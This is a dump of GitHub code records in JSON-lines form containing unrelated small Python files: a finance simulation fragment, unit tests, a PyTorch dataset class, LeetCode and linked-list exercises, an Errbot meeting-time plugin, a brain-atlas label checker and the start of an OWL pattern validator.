= list(range(1, 14)) + [15, 18, 24, 36, 72, 100] # in months\n# rebalance_periods_to_try = [1, 3, 6, 12] # in months\n\ntick = None\n\n# show_plot = False\nshow_plot = True\n\nx_axis = period_sizes_to_try\n# x_axis = rebalance_periods_to_try\n\nshow_many_examples = True\n# show_many_examples = False\n\nfees_rate_per_year_PEA = 0 # percentage for PEA\n# fee_by_contribution_PEA = 1 # currency amount for PEA\nfee_by_contribution_PEA = 0 # currency amount for PEA\n# withdrawal_fees_PEA = 6 # currency amount\nwithdrawal_fees_PEA = 0 # currency amount\n# withdrawal_fees_PEA = 6+4*4*duration_in_months/12*fee_by_contribution_PEA # currency amount\n\nfees_rate_per_year_AV = 0.6 # percentage for AV\n# fee_by_contribution_AV = 0 # currency amount for AV\nfee_by_contribution_AV = '0.1 %' # currency amount for AV TODO\n# withdrawal_fees_AV = 6 # currency amount\nwithdrawal_fees_AV = 0 # currency amount\n\nif not account_type:\n fees_rate_per_year = 0 # percentage\n fee_by_contribution = 0.99 # currency amount\n withdrawal_fees = 6 # currency amount\nelif account_type == 'PEA':\n fees_rate_per_year = fees_rate_per_year_PEA\n fee_by_contribution = fee_by_contribution_PEA\n withdrawal_fees = withdrawal_fees_PEA\nelse:\n assert account_type == 'AV'\n fees_rate_per_year = fees_rate_per_year_AV\n fee_by_contribution = fee_by_contribution_AV\n withdrawal_fees = withdrawal_fees_AV\n\n\n# Code\n\nprint(f'expected total contributions (including fees) {saved_per_month * duration_in_months}\\n')\n# (normally, amount reached when period size is a divisor of the total duration)\n\nif show_many_examples:\n examples = []\n for period_size_in_months in period_sizes_to_try:\n for rebalance_period_in_months in rebalance_periods_to_try:\n examples.append(ExampleForACertainPeriod(saved_per_month, duration_in_months, opening_balance, withdrawal_fees, portfolio_wanted_percentages, portfolio_return_rates_per_year, rebalance_period_in_months, fees_rate_per_year, fee_by_contribution, period_size_in_months, tick, account_type))\n print(examples[-1])\n\n # best = max(examples, key = lambda example: example.net)\n best = max(examples, key = lambda example: example.net)\n print(f'\\nbest:\\n\\n{best}\\n\\nrepr: {best.__repr__()}')\n\n if show_plot:\n import matplotlib.pyplot as plt\n plt.plot(x_axis, [x.net for x in examples])\n plt.show()\nelse:\n # chosen_example_for_PEA = ExampleForACertainPeriod(saved_per_month, duration_in_months, opening_balance, withdrawal_fees, portfolio_wanted_percentages, portfolio_return_rates_per_year, rebalance_period_in_months, fees_rate_per_year = fees_rate_per_year_PEA, fee_by_contribution = fee_by_contribution_PEA, period_size_in_months = 3, tick = tick, account_type = 'PEA')\n\n chosen_example_for_PEA = ExampleForACertainPeriod(saved_per_month = 25, duration_in_months = 96, opening_balance = 2600, withdrawal_fees = 0, portfolio_wanted_percentages = [100], portfolio_return_rates_per_year = [15.31], rebalance_period_in_months = None, fees_rate_per_year = 0, fee_by_contribution = 0, period_size_in_months = 0.25, tick = 0.25, account_type = 'PEA')\n\n chosen_example_for_AV = ExampleForACertainPeriod(saved_per_month, duration_in_months, opening_balance, withdrawal_fees, portfolio_wanted_percentages, portfolio_return_rates_per_year, rebalance_period_in_months, fees_rate_per_year = fees_rate_per_year_AV, fee_by_contribution = fee_by_contribution_AV, period_size_in_months = 0.25, tick = tick, account_type = 'AV')\n\n print(chosen_example_for_PEA)\n print(chosen_example_for_AV)\n","repo_name":"val461/drafts-and-stuff","sub_path":"Python/finance/investissements/recurring_investment.py","file_name":"recurring_investment.py","file_ext":"py","file_size_in_byte":5227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"24958630567","text":"import pytest\n\nfrom pygltr.pygltr import pretty_time, issue_to_row, sum_milestones\n\n\n@pytest.mark.parametrize(\"seconds, result\", [\n (60, '0h 1min'),\n (3600, '1h 0min'),\n (3720, '1h 2min'),\n])\ndef test_pretty_time(seconds, result):\n assert pretty_time(seconds) == result\n\n\ndef test_issue_to_row(issues):\n rows = []\n for issue in issues:\n rows.append(issue_to_row(issue))\n assert len(rows) == 2\n\n\ndef test_sum_milestones(issues):\n rows = []\n for issue in issues:\n rows.append(issue_to_row(issue))\n milestones = sum_milestones(rows)\n assert milestones['Project_setup']['spent'] == 28800\n","repo_name":"Murthy10/pygltr","sub_path":"tests/test_pygltr.py","file_name":"test_pygltr.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"36"} +{"seq_id":"72052147303","text":"import os\nimport os.path as osp\n\nfrom PIL import Image\nimport torch\nimport torchvision.transforms as transforms\nfrom torch.utils.data import Dataset\n\n\nclass ImageFolder(Dataset):\n\n def __init__(self, path, classes, stage='train'):\n self.data = []\n for i, c in enumerate(classes):\n cls_path = osp.join(path, c)\n images = os.listdir(cls_path)\n for image in images:\n self.data.append((osp.join(cls_path, image), i))\n\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n \n if stage == 'train':\n self.transforms = transforms.Compose([transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize])\n if stage == 'test':\n self.transforms = transforms.Compose([transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n normalize])\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, i):\n path, label = self.data[i]\n image = Image.open(path).convert('RGB')\n image = self.transforms(image)\n if image.shape[0] != 3 or image.shape[1] != 224 or image.shape[2] != 224:\n print('you should delete this guy:', path)\n return image, label\n\n","repo_name":"yinboc/DGP","sub_path":"datasets/image_folder.py","file_name":"image_folder.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":313,"dataset":"github-code","pt":"36"} +{"seq_id":"27771719677","text":"from re import A\nimport colorama\nfrom colorama import Fore\n\nprint(Fore.RED + \"Welcome to Triangle Area Calculator.\")\nvalid1 = False\nwhile not valid1:\n try:\n x = int(input(Fore.GREEN + \"Enter the first side: \"))\n valid1 = True\n except ValueError:\n print(\"First side is not a number. Retrying the program.\")\nvalid2 = False\nwhile not valid2:\n try:\n y = int(input(Fore.YELLOW + \"Enter the second side: \"))\n valid2 = True\n except ValueError:\n print(\"Second side is not a number. Retrying the program.\")\nvalid3 = False\nwhile not valid3:\n try:\n z = int(input(Fore.BLUE + \"Enter the third side: \"))\n valid3 = True\n except ValueError:\n print(\"First side is not a number. Retrying the program.\") \ninput(Fore.MAGENTA + \"Sides of Triangle are \" + str(x) + \", \" + str(y) + \" and \" + str(z) + \"\\nPress any key to continue...\") \nperimeter = x+y+z\ns = perimeter/2\narea = (s*(s-x)*(s-y)*(s-z)) ** 0.5\nprint(Fore.CYAN + \"Perimeter of Triangle is \" + str(perimeter))\nprint(Fore.CYAN + \"Area of Triangle is \" + str(area)) \nprint(Fore.RED + \"Thanks for using Triangle Area Calculator.\") ","repo_name":"adiiityaaa/Visual-Studio-Code","sub_path":"Python/TriangleAreaCalculator.py","file_name":"TriangleAreaCalculator.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"42208699352","text":"import textwrap\nimport yaml\nimport re\nimport copy\n \ndef jsonnode_get_comment(jsonnode, initial_indent='# ', \n subsequent_indent='# '):\n \"\"\"return a comment used in YAML source or other possible sources\"\"\"\n\n comment = jsonnode.get_title()\n comment += \": \"\n comment += jsonnode.get_description()\n if jsonnode.is_enum():\n comment += ' Choices: \"'\n comment += '\", \"'.join(jsonnode.enum_options())\n comment += '\"'\n comment += \"\\n\"\n retval = \"\\n\".join(textwrap.wrap(comment, initial_indent=initial_indent,\n subsequent_indent=subsequent_indent))\n return retval + \"\\n\"\n\n\ndef jsonnode_to_yaml(jsonnode, indentlevel=None, firstindent=True):\n \"\"\" \n Return the object as a YAML string, with comments pulled from the \n schema\n \"\"\"\n\n retval = \"\"\n indent = \" \" * 2\n if indentlevel is None:\n indentlevel = jsonnode.get_depth()\n\n if jsonnode.get_depth() > 0 and jsonnode.parent.is_type('array'):\n comment_initial = (indent * (indentlevel - 1)) + \"- # \"\n else:\n comment_initial = (indent * indentlevel) + \"# \"\n comment_subsequent = (indent * indentlevel) + \"# \"\n\n retval += jsonnode_get_comment(jsonnode, \n initial_indent=comment_initial, \n subsequent_indent=comment_subsequent)\n\n if jsonnode.get_depth() > 0:\n if jsonnode.parent.is_type('object'):\n retval += indent * indentlevel\n ykey = yaml.safe_dump(jsonnode.get_key())\n enckey = re.sub(r'[\\r\\n]+\\.\\.\\.[\\r\\n]+$', '', ykey)\n enckey = re.sub(r'[\\r\\n]+$', '', enckey)\n retval += enckey\n retval += \": \"\n if jsonnode.is_type('object') or jsonnode.is_type('array'):\n retval += \"\\n\"\n\n if jsonnode.is_type('object') or jsonnode.is_type('array'):\n childkeys = jsonnode.get_child_keys()\n for key in childkeys:\n child = jsonnode.get_child(key)\n retval += jsonnode_to_yaml(child)\n else:\n data = yaml.safe_dump(jsonnode.get_data(), indent=(indentlevel+1)*2)\n retval += re.sub(r'[\\r\\n]+\\.\\.\\.[\\r\\n]+$', '\\n\\n', data)\n \n return retval\n\n\n","repo_name":"robla/jsonwidget-python","sub_path":"jsonwidget/yamltools.py","file_name":"yamltools.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"36"} +{"seq_id":"18515946158","text":"class Solution:\n # @param A a list of integers\n # @return nothing, sort in place\n def sortColors(self, A):\n zeros = 0\n ones = 0\n twos = 0\n for i in A:\n if i == 0:\n zeros += 1\n elif i == 1:\n ones += 1\n else:\n twos += 1\n for i in range(zeros):\n A[i] = 0\n for i in range(zeros,zeros + ones+twos):\n A[i] = 1\n for i in range(zeros + ones,zeros+ones+twos):\n A[i] = 2\n\n#Sort Colors\n#https://oj.leetcode.com/problems/sort-colors/","repo_name":"jimmy623/LeetCode","sub_path":"Solutions/Sort Colors.py","file_name":"Sort Colors.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"22396905905","text":"# Backward compatibility\nfrom errbot.version import VERSION\nfrom errbot.utils import version2array\nif version2array(VERSION) >= [1, 6, 0]:\n from errbot import botcmd, BotPlugin\nelse:\n from errbot.botplugin import BotPlugin\n from errbot.jabberbot import botcmd\nimport datetime\nfrom pytz import timezone\n\n\n__author__ = 'Tomas Nunez'\n\n\nclass MeetingBot(BotPlugin):\n\n\n @botcmd\n def meeting_start(self, mess, args):\n \"\"\" Resets all counters to start a meeting and keep track of time\n Example: !meeting start\n \"\"\"\n date_today = self.current_date()\n time_now = self.current_time()\n try:\n meetings = self['meetings']\n except KeyError:\n self['meetings'] = {}\n meetings = self['meetings']\n name = self.meetingName(mess)\n if date_today in meetings:\n return \"There is already meeting data for today. Do you want to delete it, append to it or create a new meeting for today?\"\n else:\n meetings[name + date_today] = {time_now: 'Internal'}\n self['meetings'] = meetings\n return \"Meeting started!\"\n\n @staticmethod\n def meetingName(mess):\n if mess.is_group:\n name = str(mess.to)\n elif mess.is_direct:\n name = str(mess.frm)\n return name \n \n @botcmd\n def meeting_end(self, mess, args):\n \"\"\" Tags a meeting as \"ended\" so no more time can be added to it\n Example: !meeting end\n \"\"\"\n date_today = self.current_date()\n time_now = self.current_time()\n name = self.meetingName(mess)\n meetings = self['meetings']\n try:\n meetings[name + date_today][time_now] = \"END OF MEETING\"\n self['meetings'] = meetings\n except KeyError:\n yield \"There is no meeting for this room/user for today. Have you ran \\\"!meeting start\\\"?\"\n\n# @botcmd\n# def meeting_reset(self, mess, args):\n# \"\"\" Delete data from a meeting\n# Example: !meeting reset\n# \"\"\"\n# date_today = self.current_date()\n# meetings = self['meetings']\n#\n# try:\n# del meetings[date_today]\n# self['meetings'] = meetings\n# return \"Meeting data for day \" + date_today + \" successfully reset\"\n# except KeyError:\n# return \"No meetings today\"\n\n @botcmd\n def meeting_project(self, mess, args):\n \"\"\" Like stating \"We're talking about this project\", it adds a record to the meeting, so we keep track of the project time\n Example: !meeting project foobarproject\n \"\"\"\n date_today = self.current_date()\n time_now = self.current_time()\n project = args.strip().title()\n name = self.meetingName(mess)\n meetings = self['meetings']\n\n if project in self['aliases']:\n project = self['aliases'][project]\n\n try: \n meetings[name + date_today][time_now] = project\n yield \"Now we started talking about \" + project\n self['meetings'] = meetings\n except KeyError:\n yield \"There is no meeting for this room/user for today. Have you ran \\\"!meeting start\\\"?\"\n return \n \n\n @botcmd\n def meeting_times(self, mess, args):\n \"\"\" Once the meeting is finished, this command sorts and adds up all the time spent talking about projects. You need to use \"!meeting end\" to close the meeting for the times to be accurate.\n Example: !meeting times\n \"\"\"\n date_today = self.current_date()\n name = self.meetingName(mess)\n try:\n meeting = sorted(self['meetings'][name + date_today].items())\n except KeyError:\n yield \"There is no meeting for this room/user for today. Have you ran \\\"!meeting start\\\"?\"\n return\n \n prev_time = None\n times = {}\n for time, project in meeting:\n if prev_time == None: #first pass, nothing to compare to\n prev_time = time\n prev_project = project\n else:\n time_used = time - prev_time #not the first pass, so we can compare time now to time before\n try:\n times[prev_project] = times[prev_project] + time_used #adding the time to the project\n except KeyError:\n times[prev_project] = time_used\n prev_time = time\n prev_project = project\n if prev_project != \"END OF MEETING\":\n yield \"WARNING: The meeting was not finalized with \\\"!meeting end\\\" command. You may want to end it now.\"\n for project_meeting, time_meeting in times.items():\n yield \"Client \" + project_meeting + \" used \" + str((time_meeting.seconds - time_meeting.seconds % 60) / 60 + (time_meeting.seconds % 60 > 0)) + \" minutes\"\n return\n\n\n @botcmd\n def meeting_summary(self, mess, args):\n \"\"\" Shows a summary of the time spent on the meeting, printing all the records\n Example: !meeting summary\n \"\"\"\n date_today = self.current_date()\n name = self.meetingName(mess)\n try:\n meeting = sorted(self['meetings'][name + date_today].items())\n except KeyError:\n return \"No meetings today\"\n\n for time_meeting, client in meeting:\n yield str(time_meeting.strftime('%H:%M:%S')) + \": \" + client\n\n @botcmd\n def meeting_list(self, mess, args):\n \"\"\" Lists all available meetings\n Example: !meeting list\n \"\"\"\n return self['meetings'].keys()\n\n# @botcmd\n# def meeting_del(self, mess, args):\n# \"\"\" Delete a meeting\n# Example: !meeting delete 2015-7-15\n# \"\"\"\n# date = args.strip().title()\n# meetings = self['meetings']\n# try:\n# del meetings[date]\n# self['meetings'] = meetings\n# return \"Meeting \" + date + \" deleted successfully\"\n# except KeyError:\n# raise \"There's no meeting for \" + date + \" in the database\"\n\n @botcmd(split_args_with=None)\n def meeting_aliasadd(self, mess, args):\n \"\"\" Assigns an alias to a project name, so you can use a more convenient name (easy to remember) \n Example: !meeting addalias Project ProjectAlias\n \"\"\"\n if len(args) <= 1:\n yield \"You need a project AND an alias\"\n return \"Example: !meeting addalias Project Mega-Cool-Project\"\n aliases = self['aliases']\n #projects = self['projects']\n project = args[0].strip().title()\n alias = \" \".join(args[1:]).strip().title()\n\n yield \"Project \" + project + \" and alias \" + alias\n\n if alias in aliases:\n yield \"Warning: Alias \" + alias + \" was already there with value \" + aliases[alias] + \". Overwriting...\"\n aliases[alias] = project\n self['aliases'] = aliases\n\n @botcmd\n def meeting_aliaslist(self, mess, args):\n \"\"\" Lists all available project aliases\n Example: !meeting aliaslist\n \"\"\"\n return self['aliases']\n\n @botcmd\n def meeting_aliasdel(self, mess, args):\n \"\"\" Deletes a project alias\n Example: !meeting aliasdel ProjectAlias\n \"\"\"\n alias = args.strip().title()\n aliases = self['aliases']\n try:\n del aliases[alias]\n except KeyError:\n raise \"There's no alias \" + alias + \" in the database\"\n\n self['aliases'] = aliases\n return \"Project alias \" + alias + \" deleted successfully\"\n\n\n @staticmethod\n def current_date():\n date_format = \"%Y-%m-%d\"\n return datetime.date.today().strftime(date_format)\n\n @staticmethod\n def current_time():\n return datetime.datetime.now(timezone('UTC'))\n\n @botcmd\n def time_now(self, mess, args):\n \"\"\" Shows the time right now on the server.\n Example: !time now\n \"\"\" \n time_format = \"%H:%M:%S %Z%z\"\n return self.current_time().strftime(time_format)\n\n @botcmd\n def date_today(self, mess, args):\n \"\"\" Shows today's date on the server.\n Example: !date today\n \"\"\"\n return self.current_date()\n\n# @botcmd\n# def meeting_init(self, mess, args):\n# del self['meetings'] \n\n @botcmd\n def meeting_aliasinit(self, mess, args):\n self['aliases'] = {}\n return\n \n# @botcmd\n# def meeting_test(self, mess, args):\n# return (mess.to)\n","repo_name":"ersiko/err-meetingbot","sub_path":"meetingbot.py","file_name":"meetingbot.py","file_ext":"py","file_size_in_byte":7674,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"38555117166","text":"import random\r\nclass LNode:\r\n\tdef __init__(self,arg):\r\n\t\tself.data=arg\r\n\t\tself.next=None\r\n\r\n\"\"\"\r\n题目描述:\r\n给Head->1->2->2->4->5->5->6\r\n\t\t\t\t ^\r\n\t\t\t\t |\r\n\t\t\t\t p\t\r\n只给定p指针删除节点\r\n\r\n要求:\r\n方法:\r\n\r\n\"\"\"\r\ndef creatLink(x):\r\n\ti = 1\r\n\thead = LNode(None)\r\n\ttmp = None\r\n\tcur = head\r\n\twhile i <= x:\r\n\t\tn=random.randint(1,9)\r\n\t\ttmp = LNode(n)\r\n\t\tcur.next = tmp\r\n\t\tcur = tmp\r\n\t\ti += 1\r\n\treturn head\r\n\r\ndef DelNode(head,p):\r\n\tif head is None or head.next is None or head.next.next is None:\r\n\t\treturn head\r\n\tp.data=p.next.data\r\n\tp.next=p.next.next\r\n\treturn head\r\nif __name__ == '__main__':\r\n\thead=creatLink(10)\r\n\tp=head.next.next.next.next.next\r\n\tprint(\"BeforeReverse:\")\r\n\tcur = head.next\r\n\twhile cur != None:\r\n\t\tprint(cur.data)\r\n\t\tcur = cur.next\r\n\r\n\tprint(\"p->\",p.data)\r\n\thead=DelNode(head,p)\r\n\tprint(\"\\nAfterReverse:\")\r\n\tcur = head.next\r\n\twhile cur != None:\r\n\t\tprint(cur.data)\r\n\t\tcur = cur.next\r\n\t","repo_name":"Gesujian/python-","sub_path":"013在只给顶单链表中某个节点的情况下删除该节点.py","file_name":"013在只给顶单链表中某个节点的情况下删除该节点.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"39"} +{"seq_id":"37815213906","text":"\"\"\"\n242. Valid Anagram\nhttps://leetcode.com/problems/valid-anagram/description/\n\nGiven two strings s and t, return true if t is an anagram of s, and false otherwise.\nAn Anagram is a word or phrase formed by rearranging the letters of a different word or phrase, typically using all the original letters exactly once.\n\nInput: s = \"anagram\", t = \"nagaram\"\nOutput: true\n\"\"\"\n\n\ndef isAnagram(s: str, t: str) -> bool:\n if len(s) != len(t):\n return False\n\n word1, word2 = {}, {}\n\n for char in s:\n if char not in word1:\n word1[char] = 1\n else:\n word1[char] += 1\n for char in t:\n if char not in word2:\n word2[char] = 1\n else:\n word2[char] += 1\n\n if word1 != word2:\n return False\n return True\n\nif __name__ == '__main__':\n input1 = \"anagram\"\n input2 = \"nagaram\"\n\n print(isAnagram(input1,input2))\n\n\n\"\"\"\nIntuition\nMy first thought was to see if I can count each letter in the \"s\" string and \"t\" string. I would compare the letters and how many instances of each letter and compare if both are the same.\n\nApproach\nI first check to make sure that the length of the words are the same. If not, return False. I create two dictionaries \"word1\" and \"word2\". The keys are the characters and the values are the number of instances of that character. Using two for loops, the algorithm iterates through both strings, creating a diagram of characters and how many of each. If both dictionaries match, then the function will return true.\n\nTime complexity: O(n)\nSince there are two for loops iterating two identically long strings in the worst case scenario, it would create two linear complexities resulting in O(n + n) or can be simplified to O(n).\n\nSpace complexity: O(n)\nThe two dictionaries increases equally to the amount of characters in the string, the space complexity of this function would be O(n + n) or can be simplfied to O(n)\n\"\"\"\n","repo_name":"gbarcenasjr/LeetCode-Workpage","sub_path":"Python-Solutions/q-0242.py","file_name":"q-0242.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"33432690117","text":"import multiprocessing\nimport time as tm\nimport numpy as np\n\n\ndef calculateDistance(coordinate1):\n global coordinates\n\n maxDistance = -1\n \n for coordinate2 in coordinates:\n newDistance = calculateHaversineDistance(coordinate1[0], coordinate1[1], coordinate2[0], coordinate2[1])\n if newDistance > maxDistance:\n maxDistance = newDistance\n\n return maxDistance\n\ndef calculateHaversineDistance(latitude1, longitude1, latitude2, longitude2):\n earthRatioInKilometers = 6371\n\n latitudeDistance = (latitude1 - latitude2) * np.pi / 180\n longitudeDistance = (longitude1 - longitude2) * np.pi / 180\n\n haversineValue = np.sin(latitudeDistance / 2)**2 + np.sin(longitudeDistance / 2)**2 \n haversineValue *= np.cos(latitude1 * np.pi / 180) * np.cos(latitude2 * np.pi / 180)\n\n haversineDistance = 2 * np.arcsin(np.sqrt(haversineValue)) * earthRatioInKilometers\n\n return haversineDistance\n\n\ndef calculateMaximum(distances):\n maxDistance = -1\n\n for distance in distances:\n if distance > maxDistance:\n maxDistance = distance\n\n return maxDistance\n\n\n\n\nt0 = tm.time()\n\nnumberOfWorkers = 8\n\nwith open(\"coordenadas1000.txt\", 'r') as file:\n file.readline()\n coordinates = file.readlines()\n\ncoordinates = [coordinate.strip().split(',') for coordinate in coordinates]\ncoordinates = [(float(coordinate[0]), float(coordinate[1])) for coordinate in coordinates]\n\np = multiprocessing.Pool(numberOfWorkers)\n\ndistances = list(p.map(calculateDistance, coordinates))\n\n\n\nchuncksSize = int(len(distances)/numberOfWorkers)\nchuncks = []\n\nfor i in range(numberOfWorkers-1):\n chuncks.append(distances[i*chuncksSize:(i+1)*chuncksSize])\n\nchuncks.append(distances[(i+1)*chuncksSize:])\n\n\nmaxDistances = list(p.map(calculateMaximum, chuncks))\n\nmaxDistance = calculateMaximum(maxDistances)\n\nt1 = tm.time()\n\nprint('Tiempo de ejecucion total: ', t1-t0)\nprint('Distancia maxima: ', maxDistance)\n\n\n\"\"\"\n1.000 puntos - 1.7019586563110352 s - 44.746050984398096 km\n10.000 puntos - 188.71962118148804 s - 44.829257919253564 km\n\"\"\"","repo_name":"rudyjb24/IMT2112","sub_path":"Ayudantias/Python Pool 2/codigoParalelo.py","file_name":"codigoParalelo.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"39"} +{"seq_id":"39994883239","text":"# %%\n\"\"\"\n\n@author: ajoshi\n\"\"\"\nfrom fmri_methods_sipi import interpolate_labels\nfrom dfsio import readdfs, writedfs\nimport time\nimport scipy as sp\nimport numpy as np\n\nimport nibabel as nib\nfrom nilearn import image as ni\nimport copy\n\nBCIbase = '/ImagePTE1/ajoshi/code_farm/svreg/BCI-DNI_brain_atlas'\nUSCBrainbase = '/ImagePTE1/ajoshi/code_farm/hybridatlas/USCBrain_9_3_2020'\n\n\ndef check_uscbrain_bci(uscbrain_lab, bci_lab):\n # This checks each USCBrain ROI has only 1 BCI ROI. If not it prints a message.\n uscbrain_labels = np.unique(uscbrain_lab)\n\n for lab in uscbrain_labels:\n lab_ind = np.where(uscbrain_lab == lab)\n bci_labs, lab_counts = np.unique(bci_lab[lab_ind], return_counts=True)\n if len(bci_labs) > 1:\n print('ROI %d of USCBrain has BCI rois and counts:' % lab)\n print(bci_labs)\n print(lab_counts)\n\n\ndef check_bci_uscbrain(uscbrain_lab, bci_lab):\n # This checks each BCI ROI has max 3 USCBrain ROIs. If not it prints a message.\n bci_labels = np.unique(bci_lab)\n\n for lab in bci_labels:\n uscbrain_labs, lab_counts = np.unique(\n uscbrain_lab[bci_lab == lab], return_counts=True)\n if len(uscbrain_labs) > 3:\n print('ROI %d of BCI has USC rois and counts' % lab)\n print(uscbrain_labs)\n print(lab_counts)\n\n\n# Check Left Hemisphere\n\n# Read uscbrain and bci-dni surface labels\nleft_mid_uscbrain = readdfs(\n USCBrainbase + '/BCI-DNI_brain.left.mid.cortex.dfs')\n\nleft_mid_bci = readdfs('/ImagePTE1/ajoshi/code_farm/svreg\\\n/BCI-DNI_brain_atlas/BCI-DNI_brain.left.mid.cortex.dfs')\n\nprint('Checking consistency of USCBrain and BCI-DNI boundaries')\nprint('Each USCBrain labels should have only one and BCI-DNI label')\n\nprint('=====Checking Left Hemisphere=====')\ncheck_uscbrain_bci(left_mid_uscbrain.labels, left_mid_bci.labels)\ncheck_bci_uscbrain(left_mid_uscbrain.labels, left_mid_bci.labels)\n\n# Checking Right hemisphere\nright_mid_uscbrain = readdfs(USCBrainbase + '/BCI-DNI_brain.right.mid.cortex.dfs')\n\nright_mid_bci = readdfs(BCIbase + '/BCI-DNI_brain.right.mid.cortex.dfs')\n\n\nprint('=====Checking Right Hemisphere=====')\ncheck_uscbrain_bci(right_mid_uscbrain.labels, right_mid_bci.labels)\ncheck_bci_uscbrain(right_mid_uscbrain.labels, right_mid_bci.labels)\n\nprint('Done checking surfaces')\n\nprint('=====Checking Volume Labels=====')\n\nlab_bci = ni.load_img(BCIbase + '/BCI-DNI_brain.label.nii.gz')\nlab_uscbrain = ni.load_img(USCBrainbase + '/BCI-DNI_brain.label.nii.gz')\n#lab_bci = ni.load_img('/ImagePTE1/ajoshi/code_farm/hybridatlas/USCBrain_online/BCI-DNI_brain.label.nii.gz')\n\n\ncheck_uscbrain_bci(lab_uscbrain.get_fdata(), lab_bci.get_fdata())\ncheck_bci_uscbrain(lab_uscbrain.get_fdata(), lab_bci.get_fdata())\n","repo_name":"ajoshiusc/USCBrain.old","sub_path":"src/main_atlas_check_consistency.py","file_name":"main_atlas_check_consistency.py","file_ext":"py","file_size_in_byte":2751,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"20086828171","text":"import warnings\nimport ms2Markdown\nimport re\nimport json\nfrom abc import ABCMeta#, abstractmethod\n\n# Two major requirements:\n## testing and documentation of patterns\n## testing, doc and implementation of instances\n\n\n# For now, have made one abstract superclass and two subclasses - abstract and applied. Usage-wise, this means a user could end up applying an invalid class... - will not be tested automatically.\n\ndef load_json_from_file(path):\n \"\"\"Loads json from specified file. Returns the corresponding data structure.\n \"\"\"\n \n json_file = open(path, \"r\")\n json_string = json_file.read()\n json_file.close()\n return json.loads(json_string)\n\ndef gen_applied_pattern_from_json(path, dc, ont):\n \"\"\"Returns and applied pattern object \n \"\"\"\n pattern = load_json_from_file(path)\n return applied_pattern(pattern, dc, ont)\n\nclass metaPattern:\n __metaclass__ = ABCMeta # Abstract class - should not be directly instantiated\n\n # class level vars\n # pkey_dict spec. A dict of dicts. keys are field names. Subdicts have two compulsory boolean keys: compulsory & sprintf (indicating field will be paired with list and processed via sprintf subs). If \"compulsory\" is False, there must be an additional boolean: oneOf, indicating whther this is one of a set, at least one of which must be present. If sprintf is true, a further boolean, \"msExpression\", records whether the sprintf subfield 'string' is a Manchester syntax expression.\n \n pkey_dict = { \"pattern_name\" : { \"compulsory\" : True, \"sprintf\" : False },\n \"Base_URI\" : {\"compulsory\" : False, \"OneOf\" : False, \"sprintf\" : False},\n \"Description\" : { \"compulsory\" : False, \"OneOf\" : False, \"sprintf\" : False },\n \"classes\" : { \"compulsory\" : True, \"sprintf\" : False } ,\n \"relations\" : { \"compulsory\" : True, \"sprintf\" : False },\n \"vars\" : { \"compulsory\" : True, \"sprintf\" : False },\n \"name\" : { \"compulsory\" : True, \"sprintf\" : True, \"msExpression\" : False },\n \"def\" : { \"compulsory\" : True, \"sprintf\" : True, \"msExpression\" : False}, \n \"comment\" : { \"compulsory\" : False, \"OneOf\" : False,\"sprintf\" : True, \"msExpression\" : False },\n \"equivalentTo\" : { \"compulsory\" : False, \"OneOf\" : True, \"sprintf\" : True, \"msExpression\" : True }, \n \"subClassOf\" : { \"compulsory\" : False, \"OneOf\" : True, \"sprintf\" : True, \"msExpression\" : True }, \n \"GCI\" : { \"compulsory\" : False, \"OneOf\" : False, \"sprintf\" : True, \"msExpression\" : True } } # Better to specify this in JSON OR YAML in first place. This is hard to read and edit.\n \n sprintf_keys = (\"text\", \"vars\") # Perhaps embed this in pkey_dict. Gives more scope for clearer names for fields. OTOH, code will be simpler with generic names.\n baseURI = \"http://purl.obolibrary.org/obo/\" # Need this in separate config in order to make generic.\n\n\n def _validate_pattern_fields(self):\n \"\"\"Checks if all field and subfield keys are valid and if all compulsory fields are present\"\"\"\n # TO ADD:\n ## check pattern is dict ??\n ## A1 ! check if all vars used in sprintf are declared\n ## check for quoted '%s' in sprintf text (not allowed).\n ## check that only all subs are %s and that the number of %s matches the length of the var list.\n ## re.search(r\"\\%(.)\", , ) => from this get list to check all %s and length to check against var list.\n ## Given these checks - makes more sense to hardwire sprintf subfield names than use config approach.\n \n for field, field_content in self.pattern.items():\n if field not in self.pkey_dict:\n warnings.warn(\"Pattern has unknown field: %s !\" % field)\n \n # The following is quite ugly and hard to follow. Should probably be refactored\n oneOf = False\n oneOf_list = []\n for field, field_spec in self.pkey_dict.items():\n if field_spec['compulsory']:\n if field not in self.pattern:\n warnings.warn(\"Pattern is missing compulsory field: %s !\" % field)\n elif field_spec['OneOf']:\n oneOf_list.append(field)\n if field in self.pattern:\n oneOf = True \n if field_spec['sprintf']:\n if field in self.pattern:\n for subfield in self.pattern[field]:\n if subfield not in self.sprintf_keys:\n warnings.warn(\"The field %s has an unknown subfield %s.\" % (field, subfield))\n for subfield in self.sprintf_keys:\n if subfield not in self.pattern[field]:\n warnings.warn(\"The field %s lacks the compulsory subfield %s.\" % (field, subfield))\n # Check that number of vars matches number %s in text field\n if not len(re.findall('%s', self.pattern[field]['text'])) == len(self.pattern[field]['vars']):\n 